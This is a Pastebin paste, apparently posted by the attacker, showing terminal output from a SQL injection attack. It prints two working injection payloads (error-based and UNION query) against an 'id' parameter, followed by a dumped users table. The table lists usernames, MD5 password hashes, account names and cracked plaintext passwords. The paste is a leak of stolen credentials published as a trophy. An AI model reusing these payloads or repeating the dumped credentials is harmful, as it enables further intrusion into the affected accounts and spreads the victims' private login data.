Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- By https://twitter.com/organized
- ┌─[defaced@parrot]─[~]
- └──╼ $cd Desktop
- ┌─[defaced@parrot]─[~/Desktop]
- └──╼ $cat users.csv
- dump by twitter.com/organized . passwords were unhashed manually.
- payload:
- Parameter: id (GET)
- Type: error-based
- Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
- Payload: id=33' AND (SELECT 1484 FROM(SELECT COUNT(*),CONCAT(0x716a6a7671,(SELECT (ELT(1484=1484,1))),0x716b6a7071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'lMmy'='lMmy
- Type: UNION query
- Title: Generic UNION query (NULL) - 15 columns
- Payload: id=33' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a6a7671,0x61546849774c5353457770585479516f777972476d576b6c634f5478437a627247436e5773436567,0x716b6a7071),NULL,NULL,NULL,NULL,NULL-- CNVs
- ===========================================================
- id,username,password,full_name,unhashed_password
- 1,ghaith,39f9064033d6d048f810e716e6f0333e,Picasso Account,ANxzSmY3
- 9,alfardan,90fea0fb823d701c151c1e0a2b7e3fa1,Al Fardan Center,Z2haPQB566
- 10,webmob,73947ff1a8c4b62930a8ea16b3233d3f,webmob,nsJ_mdPCn4
- ===========================================================
- ┌─[defaced@parrot]─[~/Desktop]
- └──╼ $
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement